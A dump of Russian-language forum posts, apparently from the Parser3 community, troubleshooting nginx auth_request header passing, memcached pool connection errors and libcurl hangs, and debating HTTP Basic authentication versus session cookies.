  ^rem{ password check crypt+apr1 }\
  ^if(^math:crypt[$PWD;$userData.$UIN.passwd] ne $userData.$UIN.passwd){^throw[auth.401]}\
 ...\
  $response:x_auth_UIN[$UIN]\
  $response:x_auth_Name[$userData.$UIN.Name]\
#end main\
\
[/code]\
\
всю голову уже сломал :(\
\
ЗЫ: авторизация/не_авторизация работает"
"79224","[code]$response:x-auth-uin[$UIN]\
$response:x-auth-name[$userData.$UIN.Name][/code]\
\
[i]Примечание: при задании значения имя поля преобразуется к нижнему регистру, а при считывании ищется в нижнем регистре.\
Примечание: при выдаче браузеру имя HTTP-заголовка капитализируется (например content-type будет преобразован в Content-Type).   [3.4.0][/i] – [url=\"http://www.parser.ru/docs/lang/responsefields.htm\"]Заголовки HTTP Ответа[/url]\
\
Но ошибка была у вас в подчеркивании, вместо тире.\
\
P.S.:\
И если в таком случае у вас возникнут проблемы, используйте директиву в конфиге nginx: [url=\"http://nginx.org/ru/docs/http/ngx_http_fastcgi_module.html#fastcgi_pass_header\"]fastcgi_pass_header[/url] с указанием этих заголовков."
"79225","а тогда \
[code]auth_request_set $test_name $upstream_http_x_auth_name;[/code]\
\
или \
\
[code]auth_request_set $test_name $upstream_http_x-auth-name;[/code]\
?\
\
у меня ни так, ни эдак не работает :("
"79226","Да оно думаю работает, это я вероятно ошибся, там только bool отдельно обрабатывается, а double у нас умеет в строку преобразовываться (хотя надо смотреть, какой точно метод там вызывается у значения)."
"79227","Наступил на грабли с Curl - парсер вешается.\
\
parser.3.4.2 FreeBSD 8, все прекрасно работало, пока я не полез обновлять ruby 1.9, который потянул за собой кучу зависимостей, включая nginx.\
\
Что именно повлияло непонятно, но сейчас запросы через curl завешивают парсер, обновление до 3.4.3 и ipresolve(0|1|2) не помогают, timeout(10) тоже не срабатывает.\
\
Есть конечно вариант собрать debug- версию и посмотреть, где оно там висит, но может быть уже есть готовый рецепт ? Видел ветку неделю назад, но ответа в ней нет."
"79228","Но суть не в этом.\
У вас nginx собственной сборки? (т.е. с подключенной опцией --with-http_auth_request_module)\
\
Какая у вас задача? Я сейчас поясню. У меня большой и разнообразный опыт в настройке конфигов nginx для любых задач, но с модулем auth я не работал.\
\
У меня есть предложение, почему бы вам не отказаться от этого модуля, и не отправлять заголовки на авторизацию прямо из парсера? Это ведь очень просто."
"79230","У него в версии 7.32 (или 31 я уже точно не помню) поменялся алгоритм работы резолвера и он тупо зваисает. Лечится пересборкой curl'а с использованием в качестве резолвера библиотеки c-ares. Соответствующая опция есть в порте."
"79231","1. То, куда обращается curl - работает?\
Если это ваше же, в логах обращения от curl есть?\
\
2. Вешается при обращении куда угодно (на любой сайт?)\
\
3. Консольный curl работает? (Если и он виснет, то проблема точно в библиотеках).\
\
Если ответы утвердительные, то при наличии ssh доступа могу посмотреть (доступ слать на moko@design.ru).\
\
Альтернативно можно собрать curl \"руками\" и указать в парсере путь к libcurl.so, возможно системный собирается с какими-то странными настройками."
"79232","... вешается именно libcurl с Парсером. Консольный работал нормально. Лечится, как я уже писал, пересборкой с c-ares. :)"
"79233","Помню же, что где-то это всплывало. :) Но в redmine не нашел, да и сейчас поиск по c-ares ничего не дал. Ты куда-нибудь это писал?"
"79235","Вроде разработчики писали, что проблема известна и ее пофиксят, но позавчера проаерил с новой версией — не изменилось. Тикет заведу попозже."
"79236","в nginx -V \
[code]--with-http_auth_request_module[/code] нету, но авторизация работает (т.е. auth_request  /auth; - обрабатывается)\
\
nginx -V\
[code]nginx version: nginx/1.5.6\
built by gcc 4.7.2 (Debian 4.7.2-5)\
TLS SNI support enabled\
configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --user=nginx --group=nginx --with-http_ssl_module --with-http_realip_module --with-http_addition_module --with-http_sub_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_random_index_module --with-http_secure_link_module --with-http_stub_status_module --with-http_auth_request_module --with-mail --with-mail_ssl_module --with-file-aio --with-http_spdy_module --with-cc-opt='-g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2' --with-ld-opt=-Wl,-z,relro --with-ipv6\
[/code]\
\
uname -a\
[code]Linux parser-a2 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux[/code]"
"79237","наверное так и сделаю, оформлю уже написанное в виде модуля и\
будет чтото типа\
auto.p\
[code]\
...\
@main[]\
 ^http_basic_auth[]\
  ...\
#main\
...\
[/code]"
"79238","[code]\
$memcache-connect-string[$.server[mmc-a2.local --server=mmc-b1.local --server=mmc-b2.local] \
			 $.remove_failed_servers(true)\
			 $.binary-protocol(true) \
			 $.tcp-keepalive(true)\
			 $.connect-timeout[5]]\
\
\
\
  # open memcahed\
  ^try{\
	$mem[^memcached::open[$memcache-connect-string](0)] \
	$memb(true)\
	^log[memcached.open OK]\
  }{\
	$exception.handled(true)\
	$memb(false)\
	^log[memcached.open | $exception.type | $exception.comment]\
  }\
\
[/code]\
\
[quote]\
2013-11-19 16:37:33: memcached.open | memcached | connect error: INVALID ARGUMENTS (38)\
[/quote]\
\
===\
\
без $.remove_failed_servers(true)\
[code]\
$memcache-connect-string[$.server[mmc-a2.local --server=mmc-b1.local --server=mmc-b2.local] \
			 $.binary-protocol(true) \
			 $.tcp-keepalive(true)\
			 $.connect-timeout[5]]\
\
\
\
  # open memcahed\
  ^try{\
	$mem[^memcached::open[$memcache-connect-string](0)] \
	$memb(true)\
	^log[memcached.open OK]\
  }{\
	$exception.handled(true)\
	$memb(false)\
	^log[memcached.open | $exception.type | $exception.comment]\
  }\
\
[/code]\
\
[quote]\
2013-11-19 16:39:37: memcached.open OK\
[/quote]\
\
===\
\
с \"неработающим\" мемкешедом (mmc-off.local)\
[code]\
$memcache-connect-string[$.server[mmc-a2.local --server=mmc-b1.local --server=mmc-off.local] \
			 $.binary-protocol(true) \
			 $.tcp-keepalive(true)\
			 $.connect-timeout[5]]\
\
\
\
  # open memcahed\
  ^try{\
	$mem[^memcached::open[$memcache-connect-string](0)] \
	$memb(true)\
	^log[memcached.open OK]\
  }{\
	$exception.handled(true)\
	$memb(false)\
	^log[memcached.open | $exception.type | $exception.comment]\
  }\
\
[/code]\
\
[quote]\
2013-11-19 16:41:57: memcached.open | memcached | connect error: SOME ERRORS WERE REPORTED (19)\
[/quote]"
"79239","Если вы говорите, что [quote]авторизация работает (т.е. auth_request /auth; - обрабатывается)[/quote]\
\
Давайте разбираться!\
\
Благодаря модулю auth мы можем, основываясь на результате подзапроса, используя только статус ответа (200, 401, 403), проводить авторизацию клиента.\
\
Значит наш авторизационный скрипт должен принимать что-то на входе и на выходе давать соответствующий статус. Делается это следующим образом: \
[code]# В случае успешной авторизации\
$response:status[200 Ok]\
\
# Требуется авторизация или неправильный пароль\
$response:status[401 Unauthorized]\
\
# Доступ запрещен или превышено число попыток\
$response:status[403 Forbidden]\
[/code]\
\
Далее, нам нужно получить авторизационные данные. Но сами они в парсер не попадут, и в добавок парсер нам не дает доступа (или я чего-то не знаю :) к HTTP-заголовкам запроса.\
\
Пишем в конфиге nginx в локейшине скрипта авторизации:\
\
fastcgi_param	HTTP_AUTHORIZATION	$http_authorization;\
\
Незабываем перезагрузить nginx :)\
\
Надеюсь теперь вам все понятно.\
\
\
И на последок, вы устанавливаете заголовки\
add_header Test-Uin $test_uin;\
\
которые из парсера не видны, либо вам надо делать преедачу параметра окружения.\
\
Так же рекомендую сделать переменную что-то типа:\
auth_request_set $test_is_auth $upstream_http_x_auth_test;\
\
и передавать ее в обратных заголовках в виде 0 или 1, чтобы можно было сразу знать, пользователь авторизован или нет"
"79241","[quote]2013-11-19 17:18:16: memcached.open | memcached | connect error: INVALID ARGUMENTS (38)[/quote]"
"79242","--REMOVE_FAILED_SERVERS\
--REMOVE_FAILED_SERVERS=1\
--REMOVE_FAILED_SERVERS=true\
--remove_failed_servers\
--remove_failed_servers=1\
--remove_failed_servers=true\
\
\
$.remove-failed-servers(true) вместо $.remove_failed_servers(true)\
$.remove-failed-servers[true]\
$.remove-failed-servers[1]"
"79243","[quote]Далее, нам нужно получить авторизационные данные. Но сами они в парсер не попадут,[/quote]\
\
Прекрасно попадают\
\
куски кода из того же main что в самом первом посте\
[code]\
...\
 $http_auth[$env:HTTP_AUTHORIZATION]\
\
 ^if(^http_auth.length[] == 0){ ^throw[auth.401] }\
 ^if(^http_auth.pos[Basic ] != 0){ ^throw[auth.403] }\
\
 $m[^http_auth.match[Basic ([a-zA-Z0-9=]+)]]\
 ^if(^m.count[] == 0){ ^throw[auth.403] }\
\
 $http_auth[^string:base64[$m.1]]\
 $auth[^http_auth.match[(\\w+):(\\S+)]]\
\
 ^if(^auth.count[] == 0){ ^throw[auth.403] }\
\
 $UIN[$auth.1]\
 $PWD[$auth.2]\
 ^if(^UIN.length[] != 7){ ^throw[auth.401] }\
 ^if(^PWD.length[] == 0){ ^throw[auth.401] }\
...\
 получение userData c mySQL\
...\
  ^if(^math:crypt[$PWD;$userData.$UIN.passwd] ne $userData.$UIN.passwd){^throw[auth.401]}\
\
  $response:x-auth-uin[$UIN]\
  $response:x-auth-id[$userData.$UIN.ID]\
[/code]\
\
\
[code]\
@unhandled_exception[exception;stack] \
 ^switch[$exception.type]{\
   ^case[auth.401]{   $response:status(401) $response:WWW-Authenticate[Basic realm=\"$REALM\"] }\
   ^case[auth.403]{   $response:status(403) }\
   ^case[DEFAULT]{\
	$response:status(500)\
	$response:content-type[\
	        $.value[text/html]\
	        $.charset[$response:charset]\
	]\
	<p>The server encountered an unhandled exception and was unable to complete your request.</p>\
	<p>Please contact the server administrator: <a href=\"mailto:$env:SERVER_ADMIN?Subject=[Error:$env:SERVER_NAME]\">$env:SERVER_ADMIN</a>\
	and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p>\
   }\
 }\
[/code]\
\
\
у меня нет проблем с авторизацией, у меня проблема с обратной передачей данных. не получается установить мои header.\
\
конфиги nginx в первом посте (дабы не дублировать)"
"79247","Хотел избежать флуда и пробовал сымитировать ситуацию, но без пересборки не работает.\
Так что предлагаю на тест следующие варианты:\
\
1)\
		auth_request_set $test_uin $upstream_http_x_auth_uin;\
		add_header Test-Uin $upstream_http_x_auth_uin;\
		auth_request_set $test_name $upstream_http_x_auth_name;\
		add_header Test-Name $upstream_http_x_auth_name;\
\
2)\
		auth_request_set $test_uin $http_x_auth_uin;\
		add_header Test-Uin $test_uin;\
		auth_request_set $test_name $http_x_auth_name;\
		add_header Test-Name $test_name;\
\
3)\
		auth_request_set $test_uin $http_x_auth_uin;\
		add_header Test-Uin $http_x_auth_uin;\
		auth_request_set $test_name $http_x_auth_name;\
		add_header Test-Name $http_x_auth_name;\
\
Есть еще нюанс, что когда сервер отдает клиенту ответ со статусом > 307, т.е. 401 или 403, то в этом случае заголовки через add_header не добавляются. Это на всякий случай для справки, понимаю что вы тестировали при любых ответах (200, 40X)"
"79248","И да, директива add_header служит только для отдачи HTTP-заголовков в ответ клиенту, а не для fastCGI сервера\
При использовании proxy_pass есть директива proxy_set_header, а в случае fastcgi ее нет, по этому мне кажется лучшим решением использовать fastcgi_param TEST_UIN $test_uin;\
\
Пример правильного использования:\
auth_request_set $test_uin $upstream_http_x_auth_uin;\
fastcgi_param TEST_UIN $test_uin;\
auth_request_set $test_name $upstream_http_x_auth_name;\
fastcgi_param TEST_NAME $test_name;\
\
\
Из парсера читать как $env:TEST_UIN и $env:TEST_NAME\
\
Все что я писал в предыдущем посте бред :)"
"79249","в секции server:\
\
[code]\
        location /w {\
		auth_request  /auth;\
\
		auth_request_set $authUIN  $upstream_http_x_auth_uin;\
  		auth_request_set $authID  $upstream_http_x_auth_ID;\
  		auth_request_set $authName  $upstream_http_x_auth_Name;\
\
		try_files $uri $uri/ / ;\
		index   index.p3h index.html;\
\
	}\
\
	location = /auth {\
		internal;\
\
	        root   /var/www/site-auth;\
\
		gzip off;\
        	fastcgi_pass	unix:/var/run/fcgiwrap.socket;\
\
		fastcgi_param	REALM		\"Test Realm\";\
		fastcgi_param	SCRIPT_NAME	/var/www/site-auth/auth.p3h;\
		fastcgi_param	SCRIPT_FILENAME	/var/www/parser/current/parser3.cgi;\
		fastcgi_param	PATH_INFO	/auth.p3h;\
		fastcgi_param	PATH_TRANSLATED	/var/www/site-auth/auth.p3h;\
\
\
		fastcgi_param	CGI_PARSER_LOG	/var/log/nginx/parser_auth.log;\
\
		fastcgi_param	Content-Length \"\";\
		fastcgi_param	CONTENT_LENGTH \"\";\
\
		include /etc/nginx/fastcgi_params;\
\
	}\
\
\
\
[/code]\
\
а вот уже в обработчике \
\
[code]\
    location ~ \\.p3h$ {\
	# Не сжимаем скрипты\
	gzip off;\
	# отдаем парсеру только реально существующие файлы\
	try_files      $uri	=404;\
\
	# Передаем скрипты на обработку fcgiwrap\
        fastcgi_pass	unix:/var/run/fcgiwrap.socket;\
\
		fastcgi_param	SCRIPT_NAME	$request_uri;\
		fastcgi_param	SCRIPT_FILENAME	/var/www/parser/current/parser3.cgi;\
		fastcgi_param	PATH_INFO	$fastcgi_script_name;\
		fastcgi_param	PATH_TRANSLATED	$document_root$uri;\
\
		fastcgi_param	CGI_PARSER_LOG	/var/log/nginx/parser.log;\
\
\
		fastcgi_param REDIRECT_AUTHENTICATE_UIN $authUIN;\
		fastcgi_param REDIRECT_AUTHENTICATE_ID $authID;\
		fastcgi_param REDIRECT_AUTHENTICATE_NAME $authName;\
\
	# Используем стандартные параметры\
	include /etc/nginx/fastcgi_params;\
    }\
[/code]\
\
\
я тут немного под apache закосил :)\
\
\
в коде auth.p3h:\
[code]\
...\
  $response:x-auth-uin[$UIN]\
  $response:x-auth-id[$userData.$UIN.ID]\
  $response:x-auth-name[$userData.$UIN.Name]\
\
[/code]\
\
===\
\
НО решил таки авторизацию в самом коде сайта делать: в два раза (минимум) меньше fcgiwrap`ов будет использовано."
"79250","как в передаваемых параметрах избавиться от %20 вместо пробелов?"
"79251","Судя по исходному коду memcached, эта опция должна иметь значение и должны быть '-', а не '_', как в документации.\
\
\"--REMOVE-FAILED-SERVERS=\" { yyextra->begin= yytext; return yyextra->previous_token= REMOVE_FAILED_SERVERS; }\
\
То есть передавать надо что-то типа $.remove-failed-servers[2]. Но вот что значит это число - понятия не имею. :) У них вообще плохо и с документацией, и с диагностикой ошибок, что думаю вы уже поняли по \"SOME ERRORS WERE REPORTED\".\
\
[quote]с \"неработающим\" мемкешедом (mmc-off.local) [/quote]\
\
Далее, ошибка в вашем случае вероятно сигнализирует о том, что с одного из серверов информацию о версии получить не удалось. Боюсь --REMOVE-FAILED-SERVERS на это поведение не повлияет. \
\
Тут только комментарить в коде types/pa_vmemcached.C оба вызова:\
\
check(\"connect\", fm, f_memcached_version(fm), MEMCACHED_NOT_SUPPORTED);\
\
И пересобрать парсер самостоятельно. Если оно у вас в итоге заработает, мы добавим какой-нибудь $.check(false), чтобы можно было пропустить проверку доступности серверов при коннекте.\
\
Далее ошибки при работе с memcached возможно все равно будут, но мне кажется, что ошибки записи можно будет игнорировать, на работоспособность последующего чтения они наверное влиять не будут."
"79254","[quote]что с одного из серверов информацию о версии получить не удалось. [/quote] \
а не удалось кому? парсеру или либмемкешеду?\
\
если парсеру, то по идее парсер и не должен проверять доступность мемкешед серверов: по идее либмемкешед сделает это\
\
парсер должен проверять только наличие библиотеки либмемкешеда. или нет?\
\
[quote]ошибка в вашем случае вероятно сигнализирует о том, что с одного из серверов информацию о версии получить не удалось. Боюсь --REMOVE-FAILED-SERVERS на это поведение не повлияет. [/quote]\
так по идее вот эта опция и должна игнорировать любые недоступности/несовпадения"
"79255",">а не удалось кому? парсеру или либмемкешеду?\
\
Не удалось понятно либмемкешед, что привело к тому, что метод получения версии либмемкешед вернул ошибку, которая далее транслировалась в исключение парсера."
"79256","> парсер должен проверять только наличие библиотеки либмемкешеда. или нет?\
\
Парсер проверяет все вызываемые внешние функции на ошибки (будь то запись в файл, базу данных или в memcached). В случае ошибки генерится исключение, которое можно через ^try{} проигнорировать. Но: в данном случае исключение получается в конструкторе, поэтому объект memcached не успевает вернуться и чтобы получить объект, с которым можно дальше работать, надо убрать это исключение."
"79257","Начинаю вспоминать, что даже пробовал это дебажить. :) Выводом кажется было, что это как-то связано с многопоточностью. Непонятно только, мы это получается по почте обсуждали? Или я плохо в redmine искал?"
"79258","Возможно вы в Студии параллельно на это натолкнулись. Завел тикет  #960."
"79259","$env:HTTP_AUTHORIZATION содержит \"правильные\" пробелы.\
Неправильные пробелы появляются в $env:REDIRECT_AUTHENTICATE_NAME\
которое заполняю я \
parser -> $response:x-auth-name[$userData.$UIN.Name]\
nginx -> auth_request_set $authName  $upstream_http_x_auth_Name;\
nginx -> fastcgi_param REDIRECT_AUTHENTICATE_NAME $authName;\
\
так вот: может надо гдето кавычки в nginx или преобразование в парсер, чтобы пробелы содержащиеся в $userData.$UIN.Name не превращались в %20 ?"
"79260","на самом деле, как мне кажется, HTTP-Basic авторизация прекрасный механизм позволяющий не тягать туда-сюда и не считать куки :)\
нет передачи паролей в \"открытом\" виде.\
\
Хотя конечно хидер HTTP_AUTHORIZATION - это почти та же кука :)"
"79261","1. Потому, что base64 это тоже самое что и в открытом виде.\
2. Потому, что не используя сессионные куки вы с каждым запросом передаете логин и пароль, что увеличивает шансы на кражу данных.\
3. Потому, что Вы в полной мере не имеете контроля над брутфорсом, так как логин пароль передаются с каждым запросом.\
\
Но есть ответ еще проще: [b]если бы это было лучше, то все его бы и использовали.[/b] Вы видели такую авторизацию в Яндексе или Гугле, в Эппле и т.д.? Ответом будет НЕТ."
"79262","А если проблема при принятии переменных, то ^taint[as-is][$env:REDIRECT_AUTHENTICATE_NAME]\
\
\
И еще, дабы не получить непредсказуемое поведение nginx в будущем при обновлениях, рекомендую следовать их требованиям по названию переменных\
$upstream_http_x_auth_Name -> $upstream_http_x_auth_name"
"79263","[quote]1. Потому, что base64 это тоже самое что и в открытом виде.[/quote]\
согласен\
\
[quote]2. Потому, что не используя сессионные куки вы с каждым запросом передаете логин и пароль, что увеличивает шансы на кражу данных.[/quote]\
Т.е. надо и на сервере хранить значения куки? Или как? Теоретически кука - это та же комбинация логи-пароль, только исковерканная разработчиком по своему усмотрению. И для идентификации пользователя надо либо каждый раз передавать логин-пароль, либо чтото хранить на сервере с чем сравнивать.\
\
[quote]3. Потому, что Вы в полной мере не имеете контроля над брутфорсом, так как логин пароль передаются с каждым запросом.[/quote]\
почти согласен.\
\
[quote]если бы это было лучше, то все его бы и использовали.[/quote]\
тут можно поспорить: например ТаблетПС очень долгое время популярными не были :) а сейчас их переобозвали планшетами и пользуют вовсю :)"
"79264","[quote]\
Т.е. надо и на сервере хранить значения куки? Или как? Теоретически кука - это та же комбинация логи-пароль, только исковерканная разработчиком по своему усмотрению. И для идентификации пользователя надо либо каждый раз передавать логин-пароль, либо чтото хранить на сервере с чем сравнивать.\
[/quote]\
\
Сессионная кука как раз таки и создана, для того, чтобы не передавать никакие личные данные, и не устраивать авторизацию каждый раз при  каждом запросе.\
\
После успешной проверки авторизации происходит создание случайного хеша и сохранение его у вас в базе или хешфайле с привязкой к к идентификатору пользователя и отправкой этого хеша в виде куки.\
\
Еще более строгой защитой может так же являться привязка не просто куки к идентификатору пользователя, а ip-адрес клиента + кука для получения идентификатора клиента.\
\
В идеале, если вы не используете HTTPS постоянно, то делать авторизацию через HTTPS, а далее выдавать простую http-куку для последующей проверки получения идентификатора пользователя."
"79265","[quote]Сессионная кука как раз таки и создана, для того, чтобы не передавать никакие личные данные, и не устраивать авторизацию каждый раз при каждом запросе.[/quote]\
ну это понятно\
\
[quote]После успешной проверки авторизации происходит создание случайного хеша и сохранение его у вас в базе или хешфайле с привязкой к к идентификатору пользователя и отправкой этого хеша в виде куки.[/quote]\
а если пользователей сотни тыс - то сдохнет любой СКЛ читать и писать в одну таблицу плюс пойдут всякие блокировки. и тогда тут уже начинаются шарды :) с их головняком\
либо можно хранить в пуле мемкешед серверов, но у парсера (надеюсь пока) есть проблемы с подключением к пулу, в котором хоть один из серверов не отвечает.\
\
[quote]Еще более строгой защитой может так же являться привязка не просто куки к идентификатору пользователя, а ip-адрес клиента + кука для получения идентификатора клиента.[/quote]\
о! вот тут я готов убивать кто такое делает :) когда у меня несколько исходящих каналов - пользоваться такими сервисами - не реально, особенно доставляет когда каналы стоят в режиме балансировки: на каждый чих надо вводить имя и пароль и не факт что после отправки их на сервер я опять не попаду на страницу логовки ибо \"у вас сменился ИП адрес\". ."
"79266","[quote]о! вот тут я готов убивать кто такое делает :) когда у меня несколько исходящих каналов - пользоваться такими сервисами - не реально, особенно доставляет когда каналы стоят в режиме балансировки: на каждый чих надо вводить имя и пароль и не факт что после отправки их на сервер я опять не попаду на страницу логовки ибо \"у вас сменился ИП адрес\". [/quote]\
\
Очень сомневаюсь, что у вашего браузера (а мы ведь про это говорим) стоит балансировщик и имеет несколько исходящих каналов :)\
\
И так же посмотрю на ваше лицо, когда кто-либо перехватит вашу куку от интернет-банка без защиты по ip :)\
\
Понятно, что это не нужно делать при простых авторизациях, и как вариант делать галочку: Запомнить мой IP\
\
Что касается куки и чтения идентификатора пользователя из базы или из хешфайла, то так делают все и ни у ктого никаких проблем с нагрузкой это не вызывает. Как пример в каком нибудь WordPress для загрузки главной страницы требуется порядка 50 sql-запросов к БД и ничего, у всех рабоатет. А вам надо то, всего один запрос. А с хештаблицами вообще рай, вы же туда ничего не пишите, только на чтение, так что никаких длительных блокировок. Я лично еще не встречал такой острой необходимости в memcached и такая необходимость чаше встречается при изначально неправильно продуманной структуре, тянущей за собой излишнюю нагрузку. Посмотрите в сторону микрокеша у nginx. Будут вопросы, задавайте, это моя тема :) С конфигом если что помогу.\
\
\
Собственно это мое личное мнение и вы можете спросить других участников форума, что они по этому поводу думают."
"79268","[quote]Очень сомневаюсь, что у вашего браузера (а мы ведь про это говорим) стоит балансировщик и имеет несколько исходящих каналов :)[/quote]\
У меня на работе три оптонитки к разным ИСП и дома две оптонитки. Поэтому для меня - это действительно проблема :)\
\
[quote]И так же посмотрю на ваше лицо, когда кто-либо перехватит вашу куку от интернет-банка без защиты по ip :)[/quote]\
ну вот пока (Украина) ни один банк с которым я работаю в куки ИП не пишут (или удачно сессии устанавливаются? через одну нитку)\
\
[quote]перехватит вашу куку [/quote]  О! а вот чем тогда кука лучше HTPP_AUTH ? перехватить-то можно и то и то :)\
а в случае с https + HTTP_AUTH - то, как по мне, гемморроя с хранением кук на стороне сервера сильно меньше (ибо НЕТУ этого хранения, которое ещё и распределенным должно быть)\
\
[quote]А с хештаблицами вообще рай, вы же туда ничего не пишите, только на чтение, так что никаких длительных блокировок.[/quote]\
а если бэкендов несколько? на САН надо таблицы писать? а если дописывать ещё и с разных parser-сессий - то блокировки опять возникнуть же могут.\
\
несколько фронтов, общаются с несколькими бэкендами, соответственно для уменьшения нагрузки на СКЛ бэкенды один(первый) раз верифицируют пользователя из БД, а во всех последующих обращениях, по идее могу проверять и из общего мемкешеда (вот тут очень хочется пул:)).\
\
[quote]Посмотрите в сторону микрокеша у nginx.[/quote]\
как кэш нжинкса поможет с авторизационной кукой обрабатывемой парсером? или может? тут подскажите, плиз"
"79269","[quote]ну вот пока (Украина) ни один банк с которым я работаю в куки ИП не пишут[/quote]\
\
Конечно ip в куки никто не пишет, ip надо писать в таблицу сессий в виде отдельной графы или хеш от ip + session_cookie\
\
\
\
[quote]О! а вот чем тогда кука лучше HTPP_AUTH ? перехватить-то можно и то и то :)\
[/quote]\
\
Тем, что перехватив сессию, злоумышленник не будет знать ваш пароль. Именно по этому и сделано на большинстве сервисов смена пароля после ввода старого. Чтобы не было достаточным перехватить сессию и сменить пароль.\
\
[quote]а в случае с https + HTTP_AUTH - то, как по мне, гемморроя с хранением кук на стороне сервера сильно меньше (ибо НЕТУ этого хранения, которое ещё и распределенным должно быть)\
[/quote]\
\
Вам каждый раз нужно будет производить авторизацию вместо аутентификации, что требует больше ресурсов. Но случай когда авторизация происходит через http_auth, а аутентификация через куку вполне хорош.\
\
[quote]а если бэкендов несколько? на САН надо таблицы писать? а если дописывать ещё и с разных parser-сессий - то блокировки опять возникнуть же могут.\
[/quote]\
\
МОЕ ЛИЧНОЕ МНЕНИЕ: зачем держать несколько бекэндов с одинаковым функционалом? Я имею введу почему не разнести по бекэндам разные сервисы, как то сделано у ВКонтакта? Дублирование бекэндов можно делать с копией на случай непредвиденного падения первого.\
А в рамках одного сервиса делать микрокеширование для снятия нагрузки.\
\
Авторизацию можно выделить в отдельный сервис, который будет отдавать куку сессии, куку пользовательского идентификатора и куку валидации первых двух кук.\
Например:\
[code]$salt[internal_strong_password]\
$cookie:session[lkjvpiubwepijqbsdkjfbsdapkjbf]\
$cookie:userid[123]\
$cookie:valid[^math:md5[$cookie:session$cookie:userid$salt]][/code]\
\
Но это лишь как идея куда двигаться"
"79270","[quote]То есть передавать надо что-то типа $.remove-failed-servers[2]. Но вот что значит это число - понятия не имею. :)[/quote]\
ну, судя по \
\
[code]\
  case MEMCACHED_BEHAVIOR_REMOVE_FAILED_SERVERS:\
    ptr->flags.auto_eject_hosts= bool(data);\
\
  case MEMCACHED_BEHAVIOR_SERVER_FAILURE_LIMIT:\
    if (data == 0)\
    {\
      return memcached_set_error(*ptr, MEMCACHED_INVALID_ARGUMENTS, MEMCACHED_AT\
                                        memcached_literal_param(\"MEMCACHED_BEHAV\
    }\
    ptr->server_failure_limit= uint32_t(data);\
    break;[/code]\
\
они объединили два параметра в один, и число означает только лишь server_failure_limit\
\
[quote]И пересобрать парсер самостоятельно.[/quote]\
Боюсь сей подвиг я не потяну :(.\
\
Вот такую строку подключения начало съедать нормально:\
[code]$memcache-connect-string[$.server[mmc-a2.local --server=mmc-b1.local --server=mmc-b2.local] \
			 $.binary-protocol(true) \
			 $.tcp-keepalive(true)\
			 $.connect-timeout[5]\
			 $.remove-failed-servers[3]\
			]\
[/code]\
\
но! если потушить mmc-b2, то на ^memcached::open[$memcache-connect-string](0) таки выдает connect error: SOME ERRORS WERE REPORTED (19) :("
"79271","[quote]число означает только лишь server_failure_limit[/quote]\
\
Еще бы они про это в документации не забыли написать. :)\
\
[quote]Боюсь сей подвиг я не потяну :(.[/quote]\
\
Это шутка такая? :)\
\
http://www.parser.ru/docs/lang/?compilenix.htm"
"79272","Балансировать канал нужно по клиентам/направлениям, а не полным рендомом. Это  ад какой-то один пакет туда, другой туда. Конечно для вас то головная боль, не один нормальный ресурс не рассчитан, что у клиента айпи меняется по звездам."
"79273","Как делать балансировку личное дело каждого. Понятно, что у человека пакеты не раунд-робином бегают по каналам, но может быть фейловер, балансировка по цене канала и пр. и IP будет меняться не каждую секунду, но достаточно часто в пределах часов/минут. Поэтому привязка куки к IP — это натуральный идиотизм. Тем более, что это тупо противоречит духу http-протокола, который задумывался как stateless."
"79274","Вы строите просто не правильную авторизацию, как правильно уже написали вы просто создаете большую нагрузку в момент авторизации и она у вас происходит каждый раз, в момент обращения к веб серверу.\
Так как авторизация и проверка авторизованной сессии это совершенно разные процессорные мощности.\
Проверить сессию или же заново захешировать пароль\
О каких блокировках может идти речь, если у вас меньше нескольких миллионов пользователей?\
Я тоже когда-то начинал задумываться об оптимизации слишком рано ))."
"79275","Не считаю идиотизмом, в местах где это действительно требуется\
Все таки если украдут куку от банковского приложения, уже плохо даже если он только и сможет получить доступ только в выпискам. Все зависит от приложения и от требований.\
\
А по поводу балансировки. Даже для самого автора уже есть проблема, и он не оговаривает те сервисы которые такую привязку делают, может есть прецеденты и они защищают пользователей. Не нам судить, по умолчанию наверняка такое не закладывают в функцинал. Насколько я помню из коробки такое идет в форумах от IPB, с воблой меньше знаком не скажу."
"79276","Что касается «безопасности» в корпоративных приложениях, то лучше этот вопрос оставить за скобками... :)\
\
Привязка к IP может работать только в том случае, если вы контролируете всю сеть от клиента до сервера. По сути она имеет смысл только для провайдерского билинга или корпоративной сети. Во всех остальных случаях это профанация."
"79277","к сожалению появляются такие вещи, которые выходят за рамки просто http-протокола: XSS, CSRF и другие. Можно тратить уйму времени на поиски подобных \"ошибок\", а можно обрубить на корню.\
\
Кстати, многим будет полезно знать, так сказать для общего развития:\
Если при создании куки указать параметр [b]$.httponly(true)[/b], то эта кука не будет видна из javascript :)\
\
Этого нюанса многие не знают, а это позволяет избежать кражи сессии."
"79278","В общем проблема следующая: \
Есть код который работает на буке, но не работает на компе:\
\
[code]	^if($A == $B){\
		1\
	}($B == $C){\
		2\
	}($C == $D){\
		3\
	}[/code]\
\
на буке код работает отлично, а вот на компе говорит что …method of MAIN (MAIN) accepts maximum XX parameter(s)… \
Возможно кто-то сталкивался в подобным? Иначе приходиться все переделывать вот так:\
\
[code]	^if($A == $B){\
		1\
	}{^if($B == $C){\
		2\
	}{^if($C == $D){\
		3\
	}}}[/code]"
"79280","хм, я скачивал вот отсюда:\
http://www.denwer.ru/packages/base_parser.html\
Пока нет возможности проверить версию, через пару часов проверю, возможно именно в этом и дело."
"79281","комментирование check(\"connect\"... ничего не изменило.\
\
а вот в библиотеке под тотоже php ситуация с коннектом к неработающему хосту проходит на ура, просто ключи не пишутся и не читаются, вернее на запись выдает false, а при чтении пусто.\
\
Ситуация с парсером - непонятна :(\
